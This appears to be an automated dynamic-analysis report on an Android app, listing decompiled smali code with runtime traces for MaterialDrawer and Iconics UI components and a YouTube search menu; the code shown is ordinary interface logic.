71sget v2, Lcom/mikepenz/materialdrawer/g$a;->material_drawer_divider:I
72sget v3, Lcom/mikepenz/materialdrawer/g$b;->material_drawer_divider:I
74invoke-static {v0, v2, v3}, Lcom/mikepenz/materialize/c/b;->a(Landroid/content/Context;II)I
75move-result v0
77invoke-virtual {v1, v0}, Landroid/view/View;->setBackgroundColor(I)V
79iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/j$a;->a:Landroid/view/View;
81invoke-virtual {p0, p0, v0}, Lcom/mikepenz/materialdrawer/d/j;->a(Lcom/mikepenz/materialdrawer/d/a/a;Landroid/view/View;)V
82return-void
83cond_72:
84invoke-static {p1}, Lcom/mikepenz/materialdrawer/d/j$a;->c(Lcom/mikepenz/materialdrawer/d/j$a;)Landroid/view/View;
85move-result-object v1
86const/16 v2, 0x8
88invoke-virtual {v1, v2}, Landroid/view/View;->setVisibility(I)V
  • Data flow analysis:
    • visibility: 8
89goto/16 :goto_5d
Cross References
APIs
  • android.support.v7.widget.AppCompatImageView.<init>
  • com.mikepenz.iconics.view.IconicsImageView.isInEditMode
  • android.content.Context.obtainStyledAttributes
  • android.content.res.TypedArray.getString
  • android.content.res.TypedArray.getColor
  • android.content.res.TypedArray.getDimensionPixelSize
  • android.content.res.TypedArray.getColor
  • android.content.res.TypedArray.getDimensionPixelSize
  • android.content.res.TypedArray.getColor
  • android.content.res.TypedArray.getDimensionPixelSize
  • android.content.res.TypedArray.recycle
  • com.mikepenz.iconics.view.IconicsImageView.setScaleType
  • com.mikepenz.iconics.b.<init>
  • com.mikepenz.iconics.view.IconicsImageView.a
  • com.mikepenz.iconics.view.IconicsImageView.setImageDrawable
Position Instruction Meta Information
0.prologue
1const/4 v4, 0x0
2const/4 v3, -0x1
4invoke-direct {p0, p1, p2, p3}, Landroid/support/v7/widget/AppCompatImageView;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;I)V
5const/4 v0, 0x0
6iput-object v0, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->a:Lcom/mikepenz/iconics/b;
7iput v4, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->b:I
8iput v3, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->c:I
9iput v3, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->d:I
10iput v4, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->e:I
11iput v3, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->f:I
12iput v4, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->g:I
13iput v3, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->h:I
15invoke-virtual {p0}, Lcom/mikepenz/iconics/view/IconicsImageView;->isInEditMode()Z
  • Time: 64482
    • This:
      • com.mikepenz.iconics.view.IconicsImageView{3b35bc8a V.ED.... ........ 0,0-0,0 #7f0f00c2 app:id/material_drawer_arrow}
    • Return:
      • false
16move-result v0
17if-nez v0, :cond_6a
19sget-object v0, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView:[I
21invoke-virtual {p1, p2, v0, p3, v4}, Landroid/content/Context;->obtainStyledAttributes(Landroid/util/AttributeSet;[III)Landroid/content/res/TypedArray;
  • Data flow analysis:
    • defStyleRes: 0
22move-result-object v0
23sget v1, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView_iiv_icon:I
25invoke-virtual {v0, v1}, Landroid/content/res/TypedArray;->getString(I)Ljava/lang/String;
26move-result-object v1
27sget v2, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView_iiv_color:I
29invoke-virtual {v0, v2, v4}, Landroid/content/res/TypedArray;->getColor(II)I
  • Data flow analysis:
    • defValue: 0
30move-result v2
31iput v2, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->b:I
32sget v2, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView_iiv_size:I
34invoke-virtual {v0, v2, v3}, Landroid/content/res/TypedArray;->getDimensionPixelSize(II)I
35move-result v2
36iput v2, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->c:I
37sget v2, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView_iiv_padding:I
39invoke-virtual {v0, v2, v3}, Landroid/content/res/TypedArray;->getDimensionPixelSize(II)I
40move-result v2
41iput v2, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->d:I
42sget v2, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView_iiv_contour_color:I
44invoke-virtual {v0, v2, v4}, Landroid/content/res/TypedArray;->getColor(II)I
  • Data flow analysis:
    • defValue: 0
45move-result v2
46iput v2, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->e:I
47sget v2, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView_iiv_contour_width:I
49invoke-virtual {v0, v2, v3}, Landroid/content/res/TypedArray;->getDimensionPixelSize(II)I
50move-result v2
51iput v2, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->f:I
52sget v2, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView_iiv_background_color:I
54invoke-virtual {v0, v2, v4}, Landroid/content/res/TypedArray;->getColor(II)I
  • Data flow analysis:
    • defValue: 0
55move-result v2
56iput v2, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->g:I
57sget v2, Lcom/mikepenz/iconics/a/a$a;->IconicsImageView_iiv_corner_radius:I
59invoke-virtual {v0, v2, v3}, Landroid/content/res/TypedArray;->getDimensionPixelSize(II)I
60move-result v2
61iput v2, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->h:I
63invoke-virtual {v0}, Landroid/content/res/TypedArray;->recycle()V
65sget-object v0, Landroid/widget/ImageView$ScaleType;->CENTER_INSIDE:Landroid/widget/ImageView$ScaleType;
67invoke-virtual {p0, v0}, Lcom/mikepenz/iconics/view/IconicsImageView;->setScaleType(Landroid/widget/ImageView$ScaleType;)V
68if-nez v1, :cond_6b
69cond_6a: return-void
70cond_6b: new-instance v0, Lcom/mikepenz/iconics/b;
72invoke-direct {v0, p1, v1}, Lcom/mikepenz/iconics/b;-><init>(Landroid/content/Context;Ljava/lang/String;)V
73iput-object v0, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->a:Lcom/mikepenz/iconics/b;
75invoke-direct {p0}, Lcom/mikepenz/iconics/view/IconicsImageView;->a()V
77iget-object v0, p0, Lcom/mikepenz/iconics/view/IconicsImageView;->a:Lcom/mikepenz/iconics/b;
79invoke-virtual {p0, v0}, Lcom/mikepenz/iconics/view/IconicsImageView;->setImageDrawable(Landroid/graphics/drawable/Drawable;)V
80goto/16 :goto_6a
APIs
  • com.mikepenz.materialdrawer.a.e.com.mikepenz.materialdrawer.a.e
Strings
  • ALTERNATIVE ROCK
  • GAME
  • GOSPEL MUSIC
  • HEAVY METAL
  • HIP HOP
  • HOUSE
  • LIVE
  • MOVIES
  • MUSIC
  • POP
  • ROCK
  • SPORT
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Ljava/lang/String;",
4")TT;"
5}
6.end annotation
7.prologue
8new-instance v0, Lcom/mikepenz/materialdrawer/a/e;
10invoke-direct {v0, p1}, Lcom/mikepenz/materialdrawer/a/e;-><init>(Ljava/lang/String;)V
  • Time: 64271
    • p0: LIVE
    • Return:
      • LIVE
  • Time: 64273
    • p0: MUSIC
    • Return:
      • MUSIC
  • Time: 64275
    • p0: POP
    • Return:
      • POP
  • Time: 64277
    • p0: HIP HOP
    • Return:
      • HIP HOP
  • Time: 64280
    • p0: ROCK
    • Return:
      • ROCK
  • 6 additional calls hidden ...
11iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/d;->m:Lcom/mikepenz/materialdrawer/a/e;
12return-object p0
Cross References
APIs
  • com.mikepenz.a.b.e
  • com.mikepenz.materialdrawer.d.j.f
  • com.mikepenz.a.b.c
  • java.lang.Integer.valueOf
  • java.util.Set.add
  • com.mikepenz.materialdrawer.d.j.a
  • com.mikepenz.a.b.h
  • android.util.SparseIntArray.indexOfKey
  • com.mikepenz.a.b.n
  • com.mikepenz.a.b.c
  • java.lang.Integer.valueOf
  • java.util.Set.contains
  • com.mikepenz.a.b.c
  • java.lang.Integer.valueOf
  • java.util.Set.remove
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"<Item::",
3"Lcom/mikepenz/a/g;",
4">(",
5"Lcom/mikepenz/a/b",
6"<TItem;>;II)V"
7}
8.end annotation
9.prologue
10goto_0: if-lt p2, p1, :cond_4f
12invoke-virtual {p0, p2}, Lcom/mikepenz/a/b;->e(I)Lcom/mikepenz/a/g;
13move-result-object v0
14if-eqz v0, :cond_32
16invoke-interface {v0}, Lcom/mikepenz/a/g;->f()Z
  • Time: 64294
    • This:
      • com.mikepenz.materialdrawer.d.j@9e626c55
    • Return:
      • false
17move-result v1
18if-eqz v1, :cond_35
20invoke-virtual {p0}, Lcom/mikepenz/a/b;->c()Ljava/util/Set;
21move-result-object v1
23invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
24move-result-object v2
26invoke-interface {v1, v2}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
27cond_19: instance-of v1, v0, Lcom/mikepenz/a/e;
28if-eqz v1, :cond_32
29check-cast v0, Lcom/mikepenz/a/e;
31invoke-interface {v0}, Lcom/mikepenz/a/e;->a()Z
  • Time: 64296
    • This:
      • com.mikepenz.materialdrawer.d.j@9e626c55
    • Return:
      • false
32move-result v0
33if-eqz v0, :cond_32
35invoke-virtual {p0}, Lcom/mikepenz/a/b;->h()Landroid/util/SparseIntArray;
36move-result-object v0
38invoke-virtual {v0, p2}, Landroid/util/SparseIntArray;->indexOfKey(I)I
39move-result v0
40if-gez v0, :cond_32
42invoke-virtual {p0, p2}, Lcom/mikepenz/a/b;->n(I)V
43cond_32: add-int/lit8 p2, p2, -0x1
44goto/16 :goto_0
45cond_35:
46invoke-virtual {p0}, Lcom/mikepenz/a/b;->c()Ljava/util/Set;
47move-result-object v1
49invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
50move-result-object v2
52invoke-interface {v1, v2}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
53move-result v1
54if-eqz v1, :cond_19
56invoke-virtual {p0}, Lcom/mikepenz/a/b;->c()Ljava/util/Set;
57move-result-object v1
59invoke-static {p2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
60move-result-object v2
62invoke-interface {v1, v2}, Ljava/util/Set;->remove(Ljava/lang/Object;)Z
63goto/16 :goto_19
64cond_4f: return-void
APIs
  • com.pedqaesf.app.INSMainActivity.getMenuInflater
  • android.content.res.XmlBlock.Parser.getName
  • com.pedqaesf.app.INSMainActivity.getSystemService
  • android.view.Menu.findItem
  • android.view.MenuItem.getActionView
  • com.pedqaesf.app.INSMainActivity.getComponentName
  • android.app.SearchManager.getSearchableInfo
  • android.content.Context.getText
  • android.support.v7.widget.SearchView.setOnQueryTextListener
Strings
  • menu
  • search
  • Search YouTube
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/pedqaesf/app/INSMainActivity;->getMenuInflater()Landroid/view/MenuInflater;
3move-result-object v0
4const/high16 v1, 0x7f100000
6invoke-virtual {v0, v1, p1}, Landroid/view/MenuInflater;->inflate(ILandroid/view/Menu;)V
  • Time: 64669
    • This:
      • android.content.res.XmlBlock$Parser@3b888f54
    • Return:
      • menu
8const-string v0, "search"
10invoke-virtual {p0, v0}, Lcom/pedqaesf/app/INSMainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: search
11move-result-object v0
12check-cast v0, Landroid/app/SearchManager;
13const v1, 0x7f0f00f9
15invoke-interface {p1, v1}, Landroid/view/Menu;->findItem(I)Landroid/view/MenuItem;
  • Data flow analysis:
    • p0: 2131689721
16move-result-object v1
18invoke-interface {v1}, Landroid/view/MenuItem;->getActionView()Landroid/view/View;
19move-result-object v1
20check-cast v1, Landroid/support/v7/widget/SearchView;
21iput-object v1, p0, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
23iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
24if-eqz v1, :cond_36
26iget-object v1, p0, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
28invoke-virtual {p0}, Lcom/pedqaesf/app/INSMainActivity;->getComponentName()Landroid/content/ComponentName;
29move-result-object v2
31invoke-virtual {v0, v2}, Landroid/app/SearchManager;->getSearchableInfo(Landroid/content/ComponentName;)Landroid/app/SearchableInfo;
32move-result-object v0
34invoke-virtual {v1, v0}, Landroid/support/v7/widget/SearchView;->setSearchableInfo(Landroid/app/SearchableInfo;)V
  • Time: 64770
    • This:
      • android.view.ContextThemeWrapper@2c96d562
    • resId: 2131231770
    • Return:
      • Search YouTube
36iget-object v0, p0, Lcom/pedqaesf/app/INSMainActivity;->t:Landroid/support/v7/widget/SearchView;
38invoke-virtual {v0, p0}, Landroid/support/v7/widget/SearchView;->setOnQueryTextListener(Landroid/support/v7/widget/SearchView$c;)V
39cond_36: const/4 v0, 0x1
40return v0
APIs
  • android.view.View.getContext
  • android.view.View.setId
  • com.mikepenz.materialdrawer.d.h.f
  • android.view.View.setSelected
  • com.mikepenz.materialdrawer.d.h.e
  • android.view.View.setEnabled
  • com.mikepenz.materialdrawer.d.h.j
  • android.widget.TextView.setTextColor
  • android.widget.TextView.setTypeface
  • com.mikepenz.materialdrawer.d.h.r
Position Instruction Meta Information
0.prologue
1const/4 v7, 0x1
3iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/e;->a:Landroid/view/View;
5invoke-virtual {v0}, Landroid/view/View;->getContext()Landroid/content/Context;
6move-result-object v2
8iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/e;->a:Landroid/view/View;
10invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->hashCode()I
11move-result v1
13invoke-virtual {v0, v1}, Landroid/view/View;->setId(I)V
15iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/e;->a:Landroid/view/View;
17invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->f()Z
  • Time: 64465
    • This:
      • com.mikepenz.materialdrawer.d.h@9e626c51
    • Return:
      • true
  • Time: 64493
    • This:
      • com.mikepenz.materialdrawer.d.g@13
    • Return:
      • false
18move-result v1
20invoke-virtual {v0, v1}, Landroid/view/View;->setSelected(Z)V
22iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/e;->a:Landroid/view/View;
24invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->e()Z
  • Time: 64466
    • This:
      • com.mikepenz.materialdrawer.d.h@9e626c51
    • Return:
      • true
25move-result v1
27invoke-virtual {v0, v1}, Landroid/view/View;->setEnabled(Z)V
29invoke-virtual {p0, v2}, Lcom/mikepenz/materialdrawer/d/c;->a(Landroid/content/Context;)I
30move-result v0
32invoke-virtual {p0, v2}, Lcom/mikepenz/materialdrawer/d/c;->b(Landroid/content/Context;)I
33move-result v1
35invoke-virtual {p0, v2}, Lcom/mikepenz/materialdrawer/d/c;->c(Landroid/content/Context;)I
36move-result v3
38invoke-virtual {p0, v1, v3}, Lcom/mikepenz/materialdrawer/d/c;->a(II)Landroid/content/res/ColorStateList;
39move-result-object v4
41invoke-virtual {p0, v2}, Lcom/mikepenz/materialdrawer/d/c;->d(Landroid/content/Context;)I
42move-result v1
44invoke-virtual {p0, v2}, Lcom/mikepenz/materialdrawer/d/c;->e(Landroid/content/Context;)I
45move-result v3
47iget-object v5, p1, Lcom/mikepenz/materialdrawer/d/e;->n:Landroid/view/View;
49invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->j()Z
  • Time: 64470
    • This:
      • com.mikepenz.materialdrawer.d.h@9e626c51
    • Return:
      • true
50move-result v6
52invoke-static {v2, v0, v6}, Lcom/mikepenz/materialize/c/b;->a(Landroid/content/Context;IZ)Landroid/graphics/drawable/StateListDrawable;
53move-result-object v0
55invoke-static {v5, v0}, Lcom/mikepenz/materialize/c/b;->a(Landroid/view/View;Landroid/graphics/drawable/Drawable;)V
57invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->u()Lcom/mikepenz/materialdrawer/a/e;
58move-result-object v0
60iget-object v5, p1, Lcom/mikepenz/materialdrawer/d/e;->p:Landroid/widget/TextView;
62invoke-static {v0, v5}, Lcom/mikepenz/materialdrawer/a/e;->a(Lcom/mikepenz/materialize/b/d;Landroid/widget/TextView;)V
64invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->l()Lcom/mikepenz/materialdrawer/a/e;
65move-result-object v0
67iget-object v5, p1, Lcom/mikepenz/materialdrawer/d/e;->q:Landroid/widget/TextView;
69invoke-static {v0, v5}, Lcom/mikepenz/materialdrawer/a/e;->b(Lcom/mikepenz/materialize/b/d;Landroid/widget/TextView;)Z
71iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/e;->p:Landroid/widget/TextView;
73invoke-virtual {v0, v4}, Landroid/widget/TextView;->setTextColor(Landroid/content/res/ColorStateList;)V
75invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->m()Lcom/mikepenz/materialdrawer/a/b;
76move-result-object v0
78iget-object v5, p1, Lcom/mikepenz/materialdrawer/d/e;->q:Landroid/widget/TextView;
80invoke-static {v0, v5, v4}, Lcom/mikepenz/materialdrawer/a/b;->a(Lcom/mikepenz/materialize/b/a;Landroid/widget/TextView;Landroid/content/res/ColorStateList;)V
82invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->y()Landroid/graphics/Typeface;
83move-result-object v0
84if-eqz v0, :cond_7f
86iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/e;->p:Landroid/widget/TextView;
88invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->y()Landroid/graphics/Typeface;
89move-result-object v4
91invoke-virtual {v0, v4}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
93iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/e;->q:Landroid/widget/TextView;
95invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->y()Landroid/graphics/Typeface;
96move-result-object v4
98invoke-virtual {v0, v4}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
99cond_7f:
100invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->s()Lcom/mikepenz/materialdrawer/a/d;
101move-result-object v0
103invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->r()Z
  • Time: 64472
    • This:
      • com.mikepenz.materialdrawer.d.h@9e626c51
    • Return:
      • false
104move-result v4
106invoke-static {v0, v2, v1, v4, v7}, Lcom/mikepenz/materialdrawer/a/d;->a(Lcom/mikepenz/materialdrawer/a/d;Landroid/content/Context;IZI)Landroid/graphics/drawable/Drawable;
107move-result-object v0
108if-eqz v0, :cond_aa
110invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->t()Lcom/mikepenz/materialdrawer/a/d;
111move-result-object v4
113invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->r()Z
  • Time: 64474
    • This:
      • com.mikepenz.materialdrawer.d.h@9e626c51
    • Return:
      • false
114move-result v5
116invoke-static {v4, v2, v3, v5, v7}, Lcom/mikepenz/materialdrawer/a/d;->a(Lcom/mikepenz/materialdrawer/a/d;Landroid/content/Context;IZI)Landroid/graphics/drawable/Drawable;
117move-result-object v2
119invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->r()Z
  • Time: 64479
    • This:
      • com.mikepenz.materialdrawer.d.h@9e626c51
    • Return:
      • false
120move-result v4
122iget-object v5, p1, Lcom/mikepenz/materialdrawer/d/e;->o:Landroid/widget/ImageView;
124invoke-static/range {v0 .. v5}, Lcom/mikepenz/materialdrawer/a/d;->a(Landroid/graphics/drawable/Drawable;ILandroid/graphics/drawable/Drawable;IZLandroid/widget/ImageView;)V
125goto_a2:
126iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/e;->n:Landroid/view/View;
127iget v1, p0, Lcom/mikepenz/materialdrawer/d/c;->x:I
129invoke-static {v0, v1}, Lcom/mikepenz/materialdrawer/e/c;->a(Landroid/view/View;I)V
130return-void
131cond_aa:
132invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->s()Lcom/mikepenz/materialdrawer/a/d;
133move-result-object v0
135iget-object v2, p1, Lcom/mikepenz/materialdrawer/d/e;->o:Landroid/widget/ImageView;
137invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/c;->r()Z
138move-result v3
140invoke-static {v0, v2, v1, v3, v7}, Lcom/mikepenz/materialdrawer/a/d;->a(Lcom/mikepenz/materialdrawer/a/d;Landroid/widget/ImageView;IZI)V
141goto/16 :goto_a2
Cross References
APIs
  • com.mikepenz.materialdrawer.d.e.<init>
  • android.widget.LinearLayout.findViewById
  • android.view.View.getContext
  • com.mikepenz.iconics.b.<init>
  • com.mikepenz.iconics.b.h
  • com.mikepenz.iconics.b.f
  • com.mikepenz.iconics.b.a
  • com.mikepenz.iconics.view.IconicsImageView.setIcon
Position Instruction Meta Information
0.prologue
2invoke-direct {p0, p1}, Lcom/mikepenz/materialdrawer/d/e;-><init>(Landroid/view/View;)V
3sget v0, Lcom/mikepenz/materialdrawer/g$e;->material_drawer_arrow:I
5invoke-virtual {p1, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Time: 64488
    • This:
      • android.widget.LinearLayout{320f82fb V.E..... ......I. 0,0-0,0}
    • p0: 2131689666
    • Return:
      • com.mikepenz.iconics.view.IconicsImageView{3b35bc8a V.ED.... ........ 0,0-0,0 #7f0f00c2 app:id/material_drawer_arrow}
6move-result-object v0
7check-cast v0, Lcom/mikepenz/iconics/view/IconicsImageView;
8iput-object v0, p0, Lcom/mikepenz/materialdrawer/d/g$a;->r:Lcom/mikepenz/iconics/view/IconicsImageView;
10iget-object v0, p0, Lcom/mikepenz/materialdrawer/d/g$a;->r:Lcom/mikepenz/iconics/view/IconicsImageView;
11new-instance v1, Lcom/mikepenz/iconics/b;
13invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
14move-result-object v2
16sget-object v3, Lcom/mikepenz/materialdrawer/b/a$a;->d:Lcom/mikepenz/materialdrawer/b/a$a;
18invoke-direct {v1, v2, v3}, Lcom/mikepenz/iconics/b;-><init>(Landroid/content/Context;Lcom/mikepenz/iconics/b/a;)V
19const/16 v2, 0x10
21invoke-virtual {v1, v2}, Lcom/mikepenz/iconics/b;->h(I)Lcom/mikepenz/iconics/b;
  • Data flow analysis:
    • p0: 16
22move-result-object v1
23const/4 v2, 0x2
25invoke-virtual {v1, v2}, Lcom/mikepenz/iconics/b;->f(I)Lcom/mikepenz/iconics/b;
  • Data flow analysis:
    • p0: 2
26move-result-object v1
27const/high16 v2, -0x1000000
29invoke-virtual {v1, v2}, Lcom/mikepenz/iconics/b;->a(I)Lcom/mikepenz/iconics/b;
30move-result-object v1
32invoke-virtual {v0, v1}, Lcom/mikepenz/iconics/view/IconicsImageView;->setIcon(Lcom/mikepenz/iconics/b;)V
33return-void
Cross References
APIs
  • android.view.View.getContext
  • com.mikepenz.iconics.view.IconicsImageView.setColor
  • com.mikepenz.iconics.view.IconicsImageView.clearAnimation
  • com.mikepenz.materialdrawer.d.g.a
  • android.support.v4.view.ah.d
Position Instruction Meta Information
0.prologue
2invoke-super {p0, p1, p2}, Lcom/mikepenz/materialdrawer/d/c;->a(Landroid/support/v7/widget/RecyclerView$u;Ljava/util/List;)V
4iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/g$a;->a:Landroid/view/View;
6invoke-virtual {v0}, Landroid/view/View;->getContext()Landroid/content/Context;
7move-result-object v0
9invoke-virtual {p0, p1}, Lcom/mikepenz/materialdrawer/d/g;->a(Lcom/mikepenz/materialdrawer/d/e;)V
11iget-object v1, p1, Lcom/mikepenz/materialdrawer/d/g$a;->r:Lcom/mikepenz/iconics/view/IconicsImageView;
13iget-object v2, p0, Lcom/mikepenz/materialdrawer/d/g;->a:Lcom/mikepenz/materialdrawer/a/b;
14if-eqz v2, :cond_34
16iget-object v2, p0, Lcom/mikepenz/materialdrawer/d/g;->a:Lcom/mikepenz/materialdrawer/a/b;
18invoke-virtual {v2, v0}, Lcom/mikepenz/materialdrawer/a/b;->a(Landroid/content/Context;)I
19move-result v0
20goto_18:
21invoke-virtual {v1, v0}, Lcom/mikepenz/iconics/view/IconicsImageView;->setColor(I)V
23iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/g$a;->r:Lcom/mikepenz/iconics/view/IconicsImageView;
25invoke-virtual {v0}, Lcom/mikepenz/iconics/view/IconicsImageView;->clearAnimation()V
27invoke-virtual {p0}, Lcom/mikepenz/materialdrawer/d/g;->a()Z
  • Time: 64511
    • This:
      • com.mikepenz.materialdrawer.d.g@13
    • Return:
      • false
28move-result v0
29if-nez v0, :cond_39
31iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/g$a;->r:Lcom/mikepenz/iconics/view/IconicsImageView;
32iget v1, p0, Lcom/mikepenz/materialdrawer/d/g;->b:I
33int-to-float v1, v1
35invoke-static {v0, v1}, Landroid/support/v4/view/ah;->d(Landroid/view/View;F)V
36goto_2e:
37iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/g$a;->a:Landroid/view/View;
39invoke-virtual {p0, p0, v0}, Lcom/mikepenz/materialdrawer/d/g;->a(Lcom/mikepenz/materialdrawer/d/a/a;Landroid/view/View;)V
40return-void
41cond_34:
42invoke-virtual {p0, v0}, Lcom/mikepenz/materialdrawer/d/g;->d(Landroid/content/Context;)I
43move-result v0
44goto/16 :goto_18
45cond_39:
46iget-object v0, p1, Lcom/mikepenz/materialdrawer/d/g$a;->r:Lcom/mikepenz/iconics/view/IconicsImageView;
47iget v1, p0, Lcom/mikepenz/materialdrawer/d/g;->y:I
48int-to-float v1, v1
50invoke-static {v0, v1}, Landroid/support/v4/view/ah;->d(Landroid/view/View;F)V
51goto/16 :goto_2e
Cross References
APIs
  • android.graphics.drawable.Drawable.<init>
  • com.pedqaesf.app.INSMainActivity.getApplicationContext
  • com.mikepenz.iconics.b.b
  • java.lang.Character.valueOf
  • com.mikepenz.iconics.b.a
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
2const/4 v0, -0x1
4invoke-direct {p0}, Landroid/graphics/drawable/Drawable;-><init>()V
5iput v0, p0, Lcom/mikepenz/iconics/b;->b:I
6iput v0, p0, Lcom/mikepenz/iconics/b;->c:I
7iput-boolean v1, p0, Lcom/mikepenz/iconics/b;->d:Z
8iput v0, p0, Lcom/mikepenz/iconics/b;->k:I
9iput v0, p0, Lcom/mikepenz/iconics/b;->l:I
10iput v1, p0, Lcom/mikepenz/iconics/b;->r:I
11iput v1, p0, Lcom/mikepenz/iconics/b;->s:I
12const/16 v0, 0xff
13iput v0, p0, Lcom/mikepenz/iconics/b;->t:I
15sget-object v0, Landroid/graphics/PorterDuff$Mode;->SRC_IN:Landroid/graphics/PorterDuff$Mode;
16iput-object v0, p0, Lcom/mikepenz/iconics/b;->y:Landroid/graphics/PorterDuff$Mode;
18invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 64181
    • This:
      • com.pedqaesf.app.INSMainActivity@17287681
    • Return:
      • com.pedqaesf.app.volley.NCAppController@17694989
19move-result-object v0
20iput-object v0, p0, Lcom/mikepenz/iconics/b;->a:Landroid/content/Context;
22invoke-direct {p0}, Lcom/mikepenz/iconics/b;->b()V
23const/16 v0, 0x20
25invoke-static {v0}, Ljava/lang/Character;->valueOf(C)Ljava/lang/Character;
  • Data flow analysis:
    • p0: 32
26move-result-object v0
28invoke-virtual {p0, v0}, Lcom/mikepenz/iconics/b;->a(Ljava/lang/Character;)Lcom/mikepenz/iconics/b;
29return-void
Cross References
APIs
  • android.graphics.drawable.Drawable.<init>
  • com.pedqaesf.app.INSMainActivity.getApplicationContext
  • com.mikepenz.iconics.b.b
  • com.mikepenz.iconics.b.a
Position Instruction Meta Information
0.prologue
1const/4 v1, 0x0
2const/4 v0, -0x1
4invoke-direct {p0}, Landroid/graphics/drawable/Drawable;-><init>()V
5iput v0, p0, Lcom/mikepenz/iconics/b;->b:I
6iput v0, p0, Lcom/mikepenz/iconics/b;->c:I
7iput-boolean v1, p0, Lcom/mikepenz/iconics/b;->d:Z
8iput v0, p0, Lcom/mikepenz/iconics/b;->k:I
9iput v0, p0, Lcom/mikepenz/iconics/b;->l:I
10iput v1, p0, Lcom/mikepenz/iconics/b;->r:I
11iput v1, p0, Lcom/mikepenz/iconics/b;->s:I
12const/16 v0, 0xff
13iput v0, p0, Lcom/mikepenz/iconics/b;->t:I
15sget-object v0, Landroid/graphics/PorterDuff$Mode;->SRC_IN:Landroid/graphics/PorterDuff$Mode;
16iput-object v0, p0, Lcom/mikepenz/iconics/b;->y:Landroid/graphics/PorterDuff$Mode;
18invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
  • Time: 64473
    • This:
      • com.pedqaesf.app.INSMainActivity@17287681
    • Return:
      • com.pedqaesf.app.volley.NCAppController@17694989
19move-result-object v0
20iput-object v0, p0, Lcom/mikepenz/iconics/b;->a:Landroid/content/Context;
22invoke-direct {p0}, Lcom/mikepenz/iconics/b;->b()V
24invoke-virtual {p0, p2}, Lcom/mikepenz/iconics/b;->a(Lcom/mikepenz/iconics/b/a;)Lcom/mikepenz/iconics/b;
25return-void
Cross References
APIs
  • android.support.v7.widget.RecyclerView$u.<init>
  • android.widget.LinearLayout.findViewById
Position Instruction Meta Information
0.prologue
